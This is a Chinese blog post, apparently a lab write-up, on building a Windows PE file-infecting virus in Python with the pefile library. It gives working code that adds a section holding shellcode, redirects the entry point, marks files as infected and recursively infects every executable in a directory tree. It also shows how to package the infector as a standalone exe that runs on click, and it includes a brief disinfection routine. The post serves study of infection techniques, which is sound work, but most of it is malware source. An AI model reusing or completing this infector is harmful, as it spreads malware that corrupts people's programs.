PE文件感染程序设计(PE病毒)

脚本病毒---实验十三:PE病毒之感染机制与手动清除 目录 一、实验目的及要求 二、实验原理 三、实验环境 四、实验步骤及内容 实验步骤一:加载病毒,执行感染。 实验步骤二:通过对比分析感染过程。 实验步骤三:根据感染原理,逆向清除病毒,恢复程序运行。 五、实验总结 六、分析与思考 一、实验目的及要求 本实验介绍文件感染型病毒。通过执行病毒程序,使目标程序被感染。通过PE工具来对比查看文件感染前后的不同来确定文件的感染方式,最后利用感染原理来逆向清除感染型病毒。 二、实验原理 1、病毒的测试环境搭建:常见病毒的分析都是通过静态.. 阅读详情
AI摘要

本文介绍了如何使用Python和pefile库设计一个PE病毒感染程序,主要步骤包括:遍历可执行文件、理解PE文件结构、新增节表写入shellcode、修改入口点,以及解毒方法。实验中还涉及了如何判断和感染可执行文件,以及如何将程序打包成exe。

PE文件感染程序设计

本文主要是记录一次PE病毒设计入门实验,查看了很多帖子,总也找不到系统的指导。也是出于记录一次具体的实验流程,给后来摸索的但是没有思路的朋友们一点点思路。

1. 设计思路

  1. 遍历当前目录,将所有的可执行文件列出来
  2. 对这些可执行文件逐个判断是否被感染过,如果感染过,则跳过该文件
  3. 如果未感染,则进行感染,然后循环到2,直到遍历结束
    要想感染一个Windows下的可执行文件,首先得搞懂PE文件的格式。

2. PE文件结构

PE即Portable Executable,是win32环境自身所带的执行体文件格式,其部分特性继承自Unix的COFF(Common Object File Format)文件格式。PE表示该文件格式是跨win32平台的,即使Windows运行在非Intel的CPU上,任何Win32平台的PE装载器也能识别和使用该文件格式的文件。
所有Win32执行体(除了VxD和16位的DLL)都使用PE文件格式,如EXE文件、DLL文件等,包括NT的内核模式驱动程序(Kernel Mode Driver)。
在这里插入图片描述

上图给出了PE文件结构的示意图。
PE文件至少包含两个段,即数据段和代码段。Windows NT 的应用程序有9个预定义的段,分别为 .text 、.bss 、.rdata 、.data 、.pdata 和.debug 段,这些段并不是都是必须的,当然,也可以根据需要定义更多的段(比如一些加壳程序)。
在应用程序中最常出现的段有以下6种:
.执行代码段,通常 .text (Microsoft)或 CODE(Borland)命名;
.数据段,通常以 .data 、.rdata 或 .bss(Microsoft)、DATA(Borland)命名;
.资源段,通常以 .rsrc命名;
.导出表,通常以 .edata命名;
.导入表,通常以 .idata命名;
.调试信息段,通常以 .debug命名;
PE文件的结构在磁盘和内存中是基本一样的,但在装入内存中时又不是完全复制。Windows装载器在装载的时候仅仅建立好虚拟地址和PE文件之间的映射关系,只有真正执行到某个内存页中的指令或访问某一页中的数据时,这个页才会被从磁盘提交到物理内存。但因为装载可执行文件时,有些数据在装入前会被预先处理(如需要重定位的代码),装入以后,数据之间的相对位置也可能发生改变。因此,一个节的偏移和大小在装入内存前后可能是完全不同的。
在这里插入图片描述
上图中,左边代表在磁盘中PE文件各个部分的对齐方式(对齐基准大小为0x200),右边是在内存中PE文件各个部分的对齐方式(对齐基准大小为0x1000),这个基准可以在PE文件的OPTION_HEADER中找到,如下图:
在这里插入图片描述

1 IMAGE_DOS_HEADER和Dos Stub

其实IMAGE_DOS_HEADER和Dos Stub没有什么重要的,只是IMAGE_DOS_HEADER中的第十九个成员指向IMAGE_NT_HEADERS的位置。
所有PE文件(包括DLL)均必须以一个简单的DOS MZ header开始,在偏移0处有可执行文件的“MZ”标志,确保该程序能够在DOS下运行。

2 PE头

PE header是相关结构IMAGE_NT_HEADER的简称,其中包含了许多PE装载器用到的域。
在这里插入图片描述

3 节

PE真正的内容划分为块,称作节(section)。如上图中IMAGE_NT_HEADER下面就是节表和节。
我们感染可执行文件,注入恶意代码就是对文件的节和节表进行操作。注意这是关键。
详细的PE文件结构参考https://www.cnblogs.com/bokernb/articles/6116512.html 这里不做赘述。

3. 实验步骤

3.1 实验环境及用到的软件

该程序使用Python语言编写,我用的编译器是VSCode。
会用到pefile库,详细见https://pefile.readthedocs.io/en/latest/modules/pefile.html
PE格式及内容查看:PEView / CFF explorer

3.2 程序设计思路

首先建立一个新的节表,并将节表的相关值写入,即下图红框的内容。(这些内容需要结合shellcode长度和文件的对齐方式进行计算得到。具体实现看3.3.3)
在这里插入图片描述
写完新增的节表后将shellcode写入新增的节(节表对应的节)中
修改入口点,使得新的EntryPoint指向我写入的shellcode处,并且shellcode的最后一条指令是跳转指令,在shellcode执行完毕后跳转至原EntryPoint继续执行,达到不改变原文件功能的目的。

3.3 代码实现

3.3.1 新增节法

3.3.1.1 首先使用peflie.PE()方法将文件内容读到变量中:

如果不是可执行文件,就退出

pe = pefile.PE(file_path)
if not pe.is_exe():
    print('[*] The file is not a standard executable!!')
    exit(1)

使用pefile.dump_dict()方法将目标可执行文件的PE结构放入字典中,方便后续查看读取和修改。

#获取PE头结构字典
sectionDict = pe.dump_dict()
# 原始入口点
oldAEP = sectionDict['OPTIONAL_HEADER']['AddressOfEntryPoint']['Value']

不清楚sectionDict内容的可以使用.keys()的方法先查看其所有的key,再取其value。

3.3.1.2 写入已感染标志

将已感染的特征写入目标文件的某个特定位置,使得我们知道他被感染过,就排除了重复感染的可能。
我的策略是在目标文件的第一个节(.text)的最后0x10字节中写入原程序入口点和感染标志。
写入原程序入口点是为了后期方便解毒。

# 写入感染标志
#获取第一个节的Pointer to Raw Data和Size of Raw Data
first_section_offset = sectionDict['PE Sections'][0]['PointerToRawData']['Value']
first_section_size_of_raw_data = sectionDict['PE Sections'][0]['SizeOfRawData']['Value']
if(isInjected(pe, first_section_offset + first_section_size_of_raw_data, INJECT_FLAG)):
    print('[Warning] The %s was injected already!' % file_path)
    return False
#未感染则进行感染。首先加入感染标志
insertPeInjectFlag(pe,first_section_offset + first_section_size_of_raw_data,oldAEP, INJECT_FLAG)

获取第一个节的Pointer to Raw Data和Size of Raw Data,即得到了第一个节的起始文件偏移和节的大小。
所以我们写入原程序入口点和感染标志的起始偏移就是(Pointer to Raw Data)+(Size of Raw Data)- (0x10).
结果如下图:
在这里插入图片描述

3.3.1.3 新增节表并写入相关内容

实际上就是获取到目标文件的最后一个节表的起始偏移和大小,两者相加就是新节的起始偏移。
如果当前最后一个节表后还有大于0x28(一个节表的大小)大小的空间,就可以写入。
每一个标志位内容详情见注释。

# 增加节表
# -----------------------------------------------------------
# 获取当前最后一个节表的偏移
last_section_header_offset = sectionDict['PE Sections'][num_of_sections-1]['Name']['FileOffset']
# 新节表的偏移(加上0x28H)
new_section_header_offset = last_section_header_offset + SECTION_HEADER_SIZE#新节头的初始位置
print('[*] new_section_header_offset:',hex(new_section_header_offset))

# 逐字节填充新节表28个字节
offset = new_section_header_offset
#8字节"Name",自己起  --8
pe.set_qword_at_offset(offset,new_section_name)#name

#4 Virtual Size shellcode的总长度  --12
offset += 8
pe.set_dword_at_offset(offset,Virtual_size)

#上一个节的Virtual_size和rva,方便计算下一个节的rva
former__Virtual_size = sectionDict['PE Sections'][num_of_sections-1]['Misc_VirtualSize']['Value']
former_rva = sectionDict['PE Sections'][num_of_sections-1]['VirtualAddress']['Value']
rva = (int(former__Virtual_size / 0x1000) + 1)*0x1000 + former_rva
#4 RVA 相对虚拟地址,也是新入口点的位置,程序改为由此处开始执行 --16
offset += 4
pe.set_dword_at_offset(offset, rva)

size_of_raw_data = (int(former__Virtual_size / 0x200) + 1)*0x200
#4 节的大小 以0x200对齐,0x200的倍数 --20
offset += 4
pe.set_dword_at_offset(offset, size_of_raw_data)

#0x7600
point_to_raw_data = (int(former__Virtual_size / 0x200) + 1)*0x200 + former_point_to_raw_data
#4 节的偏移 上一个节的偏移加上上一个节的大小  --24
offset += 4
pe.set_dword_at_offset(offset, point_to_raw_data)

#4 Pointer to Relocations 置0  --28
offset += 4
pe.set_dword_at_offset(offset, 0)

#4 Pointer to Line Numbers 置0  --32
offset += 4
pe.set_dword_at_offset(offset, 0)

#2 Number of Relocations 置0 --34
offset += 2
pe.set_word_at_offset(offset, 0)

#2 Number of Line Numbers 置0 --36
offset += 2
pe.set_word_at_offset(offset, 0)

#4 特征,0x60000020代表可执行、可读和节中包含代码
offset += 4              # --40
pe.set_dword_at_offset(offset, 0x60000020)

# -----------------------------------------------------------

特征,Characteristics表示文件属性,它的每一个bit都代表了某种含义。

 Bit 0 :置1表示文件中没有重定向信息。每个段都有它们自己的重定向信息。
         这个标志在可执行文件中没有使用,在可执行文件中是用一个叫做基址重定向目录表来表示重定向信息的,这将在下面介绍。
 Bit 1 :置1表示该文件是可执行文件(也就是说不是一个目标文件或库文件)。
 Bit 2 :置1表示没有行数信息;在可执行文件中没有使用。
 Bit 3 :置1表示没有局部符号信息;在可执行文件中没有使用。
 Bit 4 --Bit 7。。。 
 Bit 8 :表示希望机器为32位机。这个值永远为1。
 Bit 9 :表示没有调试信息,在可执行文件中没有使用。
 Bit 10:置1表示该程序不能运行于可移动介质中(如软驱或CD-ROM)。在这    种情况下,OS必须把文件拷贝到交换文件中执行。
 Bit 11:置1表示程序不能在网上运行。在这种情况下,OS必须把文件拷贝到交换文件中执行。
 Bit 12:置1表示文件是一个系统文件例如驱动程序。在可执行文件中没有使用。
 Bit 13:置1表示文件是一个动态链接库(DLL)。
 Bit 14:表示文件被设计成不能运行于多处理器系统中。
 Bit 15:表示文件的字节顺序如果不是机器所期望的,那么在读出之前要进行交换。在可执行文件中它们是不可信的(操作系统期望按正确的字节顺序执行程序)。

3.3.1.4 向新节中写入shellcode

因为我们不知道目标文件最后一个节最后是否为空,所以需要先判断。
如果为空,直接在后面添加内容
如果不为空,则覆盖后面的内容

# 写入shellcode
#判断最后一个节后是否有空白位置
if(pe.get_dword_from_offset(point_to_raw_data) == None):
    pe.__data__ = pe.__data__ + shellcode + jmp_code + bytes(rest_0)
else:
    pe.set_bytes_at_offset(point_to_raw_data, shellcode + jmp_code + bytes(rest_0))

为什么要是用两种方式写入呢?经过我的实践发现:最后一个节没后有空白位置,我们使用set_bytes_at_offset()函数是无法写入的,此时只能用在最后添加的方式写入。
还有一个问题,就是shellcode最后一条指令是跳转指令,而这个跳转指令跟新的入口点有关,即:
Jmp 后的跳转地址 = 目的地址 - 当前地址 - 5
举个例子。
目的地址(原入口点) = 0x12D0
当前地址 = 新节起始偏移(新入口点) + len(shellcode) = 0x12000 + 0xE8
所以Jmp 后的跳转地址为:
在这里插入图片描述
在PEView中查看:
在这里插入图片描述
前面的E9就是jmp指令的十六进制表示形式。
当然啦,还有一个问题就是,计算得到的跳转地址如何转化为一个字接一个字节的形式?因为这样更容易写入文件中。
一是可以使用set_dword_at_offset()直接在E9后的偏移处写入这个十六进制数;二是将该十六进制数拆生成四个字节表示的形式,转化为byte(字节型)后,利用set_bytes_at_offset()和shellcode一起写入。
将该十六进制数拆生成四个字节表示的形式,转化为byte可参考以下方法:
我相信这很容易看懂。

distance = oldAEP - rva - Virtual_size
bytea = []
bytea.append((distance & 0x000000ff))
bytea.append((distance & 0x0000ff00) >> 8)
bytea.append((distance & 0x00ff0000) >> 16)
bytea.append((distance & 0xff000000) >> 24)
jmp_code = b"\xE9" + bytearray(bytea)

还有方法是利用struct中的pack()方法。

3.3.1.5 修改入口点、节数+1、修改SizeOfImage和SizeOfCode
#修改入口点
entry_point_offset = sectionDict['OPTIONAL_HEADER']['AddressOfEntryPoint']['FileOffset']
print('[*] new_entrypoint:',hex(rva))
pe.set_dword_at_offset(entry_point_offset, rva)
#节数加一
pe.set_word_at_offset(sectionDict['FILE_HEADER']['NumberOfSections']['FileOffset'],pe.FILE_HEADER.NumberOfSections + 1)
#SizeOfImage
pe.set_dword_at_offset(sectionDict['OPTIONAL_HEADER']['SizeOfImage']['FileOffset'], sectionDict['OPTIONAL_HEADER']['SizeOfImage']['Value'] + (int(shellcode_length / 0x200) + 1)*0x1000)
#SizeOfCode
pe.set_dword_at_offset(sectionDict['OPTIONAL_HEADER']['SizeOfCode']['FileOffset'], sectionDict['OPTIONAL_HEADER']['SizeOfCode']['Value'] + (int(shellcode_length / 0x200) + 1)*0x200)

3.3.1.6 写回输出文件

这里不用pe.write()方法

# 写回输出文件
f = open(outputFile,'wb')
f.write(pe.__data__)
f.close()

3.3.2 空间不足无法使用新增节法

以上是在存在足够空间时新增节表的方法,我们还会遇到没有足够空间使用新增节表法,这时候就可以选择第二种策略——将恶意代码写入.text节后的空余位置(如果位置足够的话)。
同新增节法类似,先找到可以写的位置。我找的是.text节后的空余位置。
这里有:

start_offset = first_section_Misc_VirtualSize + first_section_offset#
new_entry_point = first_section_Misc_VirtualSize + first_section_table_rva

在这里插入图片描述
start_offset 就是恶意代码将要写入的起始偏移(text节的起始偏移+节已使用长度),new_entry_point 是新的入口点,即程序先从这里开始执行,再跳转到原入口点执行,不改变原有功能。
具体感染完的效果如下图:
在这里插入图片描述
上图中,绿色框中是写入的恶意代码,黄框中为jmp指令,蓝色框为写入的原入口点和感染标志位。

3.4 解毒程序

解毒简单粗暴,将入口点改回原入口点即可。
将text节中写入的原入口点读出,覆盖掉OPTIONAL_HEADER中的[‘AddressOfEntryPoint’]。

3.5 目录遍历感染

解决了如何感染单个可执行文件,进行当前目录的感染就很简单了。

3.5.1 当前目录下的文件(不包含子目录)

python提供的glob库可以实现,glob是python自己带的一个文件操作相关模块,用它可以查找符合自己目的的文件,类似于Windows下的文件搜索,支持通配符操作,*,?,[]这三个通配符,代表0个或多个字符,?代表一个字符,[]匹配指定范围内的字符,如[0-9]匹配数字。
glob模块的主要方法就是glob,该方法返回所有匹配的文件路径列表(list);该方法需要一个参数用来指定匹配的路径字符串(字符串可以为绝对路径也可以为相对路径),其返回的文件名只包括当前目录里的文件名,不包括子文件夹里的文件。

exec_files = glob.glob('*.exe')#当前目录下的所有exe文件
for file in exec_files:
    # print((file))
    peInject.peInject(file, new_section_name, shellcode)

但是需要注意的是,这里是以文件后缀的方式来识别可执行文件,存在漏洞。
我们知道,一个文件的本质上是什么类型的文件取决于它的文件结构,而不是后缀。所以本质上判断一个文件是否是可执行文件,还需要从文件的结构下手,不能简单地依据后缀来判断。
如图我将optput.exe后缀改为.jpg,使用PEView打开依旧还是可执行文件。
在这里插入图片描述
我们使用pe下的is_exe()来判断:

file_path = r"output.jpg"
pe = pefile.PE(file_path)
print(pe.is_exe())
#返回值为True

方法可行,所以要对这种扫描方式进行改进。
具体策略是遍历当前目录下的所有文件(文件夹先不处理),使用pe.is_exe()进行判断,是可执行文件的进行感染并加上.exe的后缀,让Windows“认识”其为可执行文件。
但是又遇到了新问题,如何区分是文件还是文件夹?扫描到目录和非可执行文件时,pefile.PE(file_path)会报错。
解决以上问题,就要换另一个库,os库下的path;pefile.PE(file_path)报错问题使用try-except语句。

def getExecFile(dirPath):
    if dirPath[-1] == '/':
        print(u'文件夹路径末尾不能加/')
        return
    allExecFiles = []
    if os.path.isdir(dirPath):
        fileList = os.listdir(dirPath)
        for f in fileList:
            if not os.path.isdir(f):#不是文件夹
                # print(f)
                try:#如果不能用PE()方法打开,即不是可执行文件
                    pe = pefile.PE(f)
                    if((pefile.PE(f)).is_exe()):
                        allExecFiles.append(f)
                except:continue
    return allExecFiles

print(getExecFile('.'))

扫描指定目录,得到所有的文件及文件夹,剔除非文件,并返回所有的可执行文件。

3.5.2 当前目录下的文件递归感染(包含子文件夹)

在3.5.1的程序基础上改造一个递归程序即可,实现起来很容易。

def getExecFile(dirPath, rec_infect):
    if dirPath[-1] == '/':
        print(u'文件夹路径末尾不能加/')
        return []
    allExecFiles = []
    # print(dirPath,rec_infect)
    if(rec_infect):#递归感染
        if os.path.isdir(dirPath):
            fileList = os.listdir(dirPath)
            for f in fileList:
                f = dirPath + '/' + f
                if not os.path.isdir(f):
                    try:
                        if((pefile.PE(f)).is_exe()):
                            # print(f)
                            allExecFiles.append(f)
                    except:continue
                else:
                    # 递归返回的子目录文件也要加进来
                    allExecFiles += getExecFile(f, rec_infect)

3.6 运行结果

在这里插入图片描述
在这里插入图片描述
原文件运行功能:
在这里插入图片描述
感染后:先弹框,然后才是原来的功能
在这里插入图片描述

4. 编译成exe文件

这里利用pyinstaller实现打包python脚本为exe可执行文件。
首先安装pywin32、pyinstaller,然后按照如下命令:
pyinstaller -F -i 1.ico PEINJECTION.py
其中1.ico是图标, PEINJECTION.py是需要打包的python脚本。
在这里插入图片描述
打包完如下:
在dist文件夹下:(我改了名字/偷笑)
在这里插入图片描述
运行结果如下:argv[1]:感染路径 argv[2]:是否循环感染1是0否
在这里插入图片描述
如果想要实现点击直接运行,直接在代码中设置运行当前目录为参数1,默认递归感染。
./1目录如下:

在这里插入图片描述
./1/2目录如下:
在这里插入图片描述

5. 程序架构

在这里插入图片描述

6. 引用

  1. https://pefile.readthedocs.io/en/latest/modules/pefile.html
  2. https://www.cnblogs.com/bokernb/articles/6116512.html
  3. https://blog.youkuaiyun.com/daoyikong_x18/article/details/19398811

敬请指正,源码数据需要的私信 。_

源代码分享已转移至公众号,搜索:网安小木屋,回复关键词:PE


- END -


::: block-2
一个只记录最真实学习网络安全历程的小木屋,最新文章会在公众号更新,欢迎各位师傅关注!

公众号名称:网安小木屋


图片名称

博客园主页:
博客园-我记得https://www.cnblogs.com/Zyecho/
:::

一个简单的PE感染病毒 /------- 通过开辟一个新的节表放置shellcode 修改PE入口点到shellcode,并在shellcode中设置返回原PE入口点 PE文件格式参考资料: http://bbs.pediy.com/showthread.php?t=21932 ----------/ /*** 本程序只适用于载入基址定位的,非随机基址 感染指定目录的PE文件 添 阅读详情

相关推荐

PE文件病毒感染示例

;本程序修改自hume的代码,其版权信息如下:CopyRight              db "The SoftWare WAS OFFERRED by Hume[AfO]",0dh,0ah                       db "        Thx for using it!",0dh,0ah                       db "Contact: Hume

long_xing的专栏 5501

学习日记——(计算机病毒)PE文件病毒

一、相关知识 PE文件病毒的原理:PE文件病毒感染病毒时,将自身代码复制到目标文件中 PE文件病毒在目标文件前运行,那么,它是怎么做到的呢? 答:PE病毒感染其他文件的常见方法是: 在文件中添加一个新节,然后把病毒代码和执行后返回宿主程序的代码写入到新添加的节中; 同时修改PE文件头的入口地址,使它指向新添加的病毒代码入口; 这样做后,当程序运行时,首先运行病毒代码,运行完后再转去运行宿主代码。 PE文件病毒的感染过程: 第一种: 判断目标文件开始的两个字节是否为“MZ”; 判断PE文件的

weixin_54055099的博客 6807

PE病毒学习笔记——初识感染技术

说起“感染技术”,一般印象里都是——感染文件,准确说,是“感染可执行文件”。事实上,除了文件感染,也可以是“进程感染”,也就是“进程注入”。但是相比而言,文件感染古老多了——早在单进程环境的DOS下就开始发展,而且相比“进程注入”,在我看来要复杂些。现在我们只考虑Win32环境下的文件感染。毫无疑问,读写文件的过程需要大量使用到API,如果看过我之前的关于“搜索API”的学习笔记的话,那么这个工作

1363

实验六——PE病毒分析

【实验名称】 PE病毒分析 【实验目的】 1.属性PE文件结构 2.熟悉PE编辑查看工具,详细了解PE文件格式 3.掌握文件型病毒的发现方法及PE病毒的染毒原理 【实验原理】 1.PE文件常用字段解释: a)文件偏移地址(FileOffset):PE文件存储在磁盘上时,各数据相对文件初始地址的偏移量。即,UltraEdit打开文件所显示的地址。 .text段第一个数据的文件偏移地址是:0x400 b)虚拟地址(Virtual Address,VA):PE文件载入内存后,各数据的地址。

Onlyone_1314的博客 1万+

PE感染逆向之修复

作 者: achillis这篇文章是在Servex.exe专杀工具写完之后的一些小小感想,关于PE感染和修复,  自某日不小心中了Serverx.exe病毒,电脑中大部分EXE文件被感染,系统盘system32目录下的病毒文件Serverx.exe总也杀不掉,因为即使删掉了,每次运行了被感染的程序之后还会再次生成。(关于此毒的详细资料,有兴趣的直接在百度搜索"Serverx.exe"或"愤怒天使"

1729

win32virus汇编PE文件感染代码阅读

win32virus汇编PE文件感染 步骤如下: 在图1中,我们发现汇编代码有三处都是两点,改为一点后保存。 用Masm32Edit的Project中的assemble and link功能生成.exe文件,图2为编译过程,图3表示.exe已经生成。 图4,用OllyDebug运行.exe文件,发现运行意外终止。 用图5所示的x32Degub调试工具运行到终止处,点击“内存布局”发现内存发现权限为ER,不可以进行写入(W),如图6。 图7为.text原来的内存权限,图8为修改后的权限,变为ERW

m0_52534684的博客 1698

PE文件病毒实验(二)——实验报告

实验目的:掌握PE文件格式;理解病毒感染PE文件的原理。 实验内容: (1) 了解PE文件格式。 (2) 根据实验步骤,编程实现在PE文件中插入病毒代码。运行插入病毒代码后的PE文件。 (3) 编程实现在磁盘中搜索.exe文件的操作,对于所有的.exe文件插入病毒代码并运行插入病毒代码后的exe文件。 (4) 编程实现在磁盘中搜索(3)中的.exe文件的操作,对于所有的.exe文件删除病毒代码并运...

jmhIcoding 1万+

[网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。前文分享了XSS跨站脚本攻击案例,主要内容包括XSS原理、不同类型的XSS、XSS靶场9道题目、如何防御XSS。这篇文章将介绍Windows PE病毒, 包括PE病毒原理、分类及感染方式详解,并通过案例进行介绍。基础性文章,希望对您有所帮助~

杨秀璋的专栏 1万+

花式感染 Windows PE 病毒的一百种方法,你中过招吗?

作者 | 杨秀璋,责编 | 夕颜出品 | 优快云博客这是一篇基础性文章,将介绍Windows PE病毒, 包括PE病毒原理、分类及感染方式详解,并通过案例进行介绍。01PE病毒概念什么...

Python大本营的博客 2453

[系统安全] 十七.Windows PE病毒概念、分类及感染方式详解

作者前文介绍了PE文件格式,熟悉各种PE编辑查看工具,针对目标EXE程序新增对话框等;这篇文章将介绍Windows PE病毒, 包括PE病毒原理、分类及感染方式详解,并通过案例进行介绍。这些基础性知识不仅和系统安全相关,同样与我们身边的APP、常用软件及操作系统紧密联系,希望这些知识对您有所帮助,更希望大家提高安全意识,安全保障任重道远。本文参考了《软件安全》视频、安全网站和参考文献中的文章,并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

杨秀璋的专栏 1万+

【3D目标检测】MMdetection3d——搭建IS-Fusion环境+nuScenes数据集训练

搭建IS-Fusion环境+nuScenes数据集训练

qq_44703886的博客 2323

学习笔记:病毒感染PE文件的基本方法

2007-06-27 02:40 PE病毒常见的感染其它文件的方法是在文件中添加一个新节,然后往该节中添加病毒代码和病毒执行后返回HOST程序的代码,并修改文件头中代码开始执行位置(Address Of EntryPoint)指向新添加的病毒节的代码入口,以便程序运行后先执行病毒代码。下面具体分析一下感染文件

编程爱好者 6119

Python实战:用Realsense D435和睿尔曼机械臂完成手眼标定的5个关键步骤

本文详细介绍了使用Python、Realsense D435深度相机与睿尔曼机械臂进行手眼标定的完整实战流程。文章将过程拆解为环境搭建、数据采集、核心计算、结果验证和精度优化五个关键步骤,重点剖析了数据采集的黄金法则、常见错误排查以及如何将标定结果集成到视觉抓取程序中,旨在帮助开发者实现毫米级精度的视觉引导机器人系统。

weixin_29103191的博客 321

PE学习笔记(病毒的感染)

  通过一段时间对PE病毒的学习,对PE病毒的感染过程有了初步的了解。 一  PE文件格式概述    PE文件结构的总体层次分布如下所示 -----------------------|DOS MZ Header ||------------------------||DOS Stub     ||------------------||PE Header  

虫子的专栏 2466

java实现自动发送微信QQ消息(可发图片)

自动发送微信/QQ/微博等消息 一:功能:实现发送QQ/微信/微博消息,程序控制。 效果演示(实现自动发生QQ微信消息给女友,发微博信息也可以就不演示了) 二:原理讲解:将剪贴板的内容给发送到QQ微信中去,复制粘贴发送。 模拟真实操作进行发送信息。 三:前期准备,软件安装,及初步测试。...

XURUNFA950827的博客 1万+

三极管NPN与PNP的工作原理及快速识别技巧

本文深入浅出地解析了三极管NPN与PNP的核心工作原理。通过“水龙头”比喻,阐明其以小电流控制大电流的放大与开关本质。文章重点对比了NPN与PNP在电流方向、电位关系和控制逻辑上的根本区别,并提供了快速识别技巧与实用的选型、应用指南,帮助电子爱好者与工程师快速掌握这两种基础元件的关键知识。

neovim7hacker的博客 454

PE型感染病毒 —— VC源码

狼哥的原话:“真正的文件型PE病毒,是不能发布调试版本的,只能靠自己的判断使用发布版本,就算要调试也只能使用其它的调试器,比喻说OllyDbg来调试发布版本......”   这类程序调试起来足矣让人精神紊乱,下面是全部的代码,有兴趣的看看吧.....     这是测试Test.dll源码: [cpp] view plaincopyprint? ///////

~ 飞 扬 的 天 空 ~ 1990

Windows 10下三菱PLC控件安装报错Error Number:-119的终极解决方案(附详细步骤)

本文针对Windows 10系统安装三菱PLC控件时常见的Error Number:-119报错,提供了深度分析与终极解决方案。文章剖析了该错误源于oleaut32.dll文件版本冲突,并详细介绍了通过设置兼容性模式、手动注册DLL、直接安装MX Component以及高级系统修复等多种方法,帮助用户彻底解决此安装难题,顺利搭建PLC开发环境。

weixin_29289821的博客 334

PE 病毒感染分析与清除

编译教材中的感染例子程序-bookexample-old.rar;使用该感染例子对 HelloWorld.exe 进行感染,以及病毒在感染文件时的具体操作、该病毒如何返回 HOST。找出该病毒程序存在的一些问题,并解决这些问题;编译教材中的感染例子程序-bookexample-new.rar;使用该感染例子对计算器 calc.exe 进行感染;手工恢复被感染的 calc.exe (功能恢复)。

weixin_49816179的博客 1486

PointNet++改进策略 :模块改进 | x-Conv | PointCNN, 结合局部结构与全局排列提升模型性能

这篇论文介绍了一种名为PointCNN的方法,旨在从点云(point cloud)数据中学习特征。传统卷积神经网络(CNN)在处理规则网格数据(如图像)时非常有效,但由于点云是无序且不规则的,直接在其上应用卷积操作会导致形状信息丢失,并对点的排列顺序敏感。为了解决这一问题,论文提出了一种X-Conv操作。该方法通过学习一种来重新排列点云中的点并加权输入特征。然后,将典型的卷积操作应用于转换后的特征。这种方法将传统的 CNN 扩展到点云特征学习,并命名为PointCNN。

u012901740的博客 2300

uniapp [安卓苹果App端] - 实现获取请求手机位置权限+开启定位获取经纬度/省市区地址等,检测权限手机定位是否开启并引导用户同意授权,uniApp app端调用本机开启本机定位权限及IP属地

uni-app,手机定位权限,安卓Android,苹果ios,uniapp获取本机位置权限,uni-app获取用户定位数据,uniapp APP获取用户IP属地定位,判断权限,权限被拒绝了怎么办,苹果ios系统无法开启定位,获取定位权限报错,uniapp定位获取省市区,UNI-APP如何开启手机定位功能并获取经纬度,不依赖地图第三方插件组件,打包上架后如何获取,真机运行无法获取定位,安卓和ios权限获取,判断权限检查,正式打包,详细教程,根据获取当前经纬度,再根据经纬度去定位具体省市区,自定义基座打包能成功

🏆 前端领域优质创作者 1万+

通过C编程实现病毒的文件感染功能…

编程学着不是让你领教它的枯燥无味的,是让你灵活的用它的,让人们凌驾于计算机的智慧之上,用它把你的生活变得更简单,让不完美的世界更完美,看到了很多人自己写程序表白,的确可以做出很多浪漫。     你还可以拿着它玩出各种花样,别说你能力不够,那只是你对自己懒于思考,懒于学习的借口,世上无难事只怕有心人!奉上用C编程实现简易病毒的感染功能,别人能用很高级很复杂方式做到的事情,我同样能拿着最基层的方式做到

Confession 的技术频道 1905

Oracle EBS R12 AR 标准发票 核心表结构

​ Oracle EBS R12 AR 标准发票 核心表结构 聚焦手动标准发票 (Standard Invoice),按头→行→分配→税→收款计划→会计分录→历史分层,标注主键、外键、关键字段、业务含义,同时说明表间关联关系,适配开发 / 运维 / 数据核对场景。 一、主数据层(发票头 + 行,核心业务表) 1. RA_CUSTOMER_TRX_ALL 【发票头表】 作用:存储整张发票头部信息,一张发票对应一条记录,AR 发票主表。 主键:CUSTOMER_TRX_ID (唯一 ID,系统内部键) 业

金牌架构师 282

感染PE文件的一个简单实例

感染PE文件的一个简单实例作者:CloudQQ:329967612  感染PE文件是典型的病毒技术,利用它可以做很多事。至于怎么用就是各位读者自己的事。呵呵。这里给出一个简单的代码实例,它将代码保存在节的间隙中,然后修改入口点。很简单,写给初学者。个人觉得具体的例子要比抽象的解说更印象深刻,记得当初我刚学的时候,看那些高手们写的文章,实在是郁闷,概念是懂了但用不到实践中去。希望这篇文章能对

shangguanwaner的专栏 2650

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

上一篇: WPS Office宏病毒实现shell反弹
下一篇: Cisco ISR4221 路由器密码重置方法
23hours
博客等级 码龄7年 698粉丝 22原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值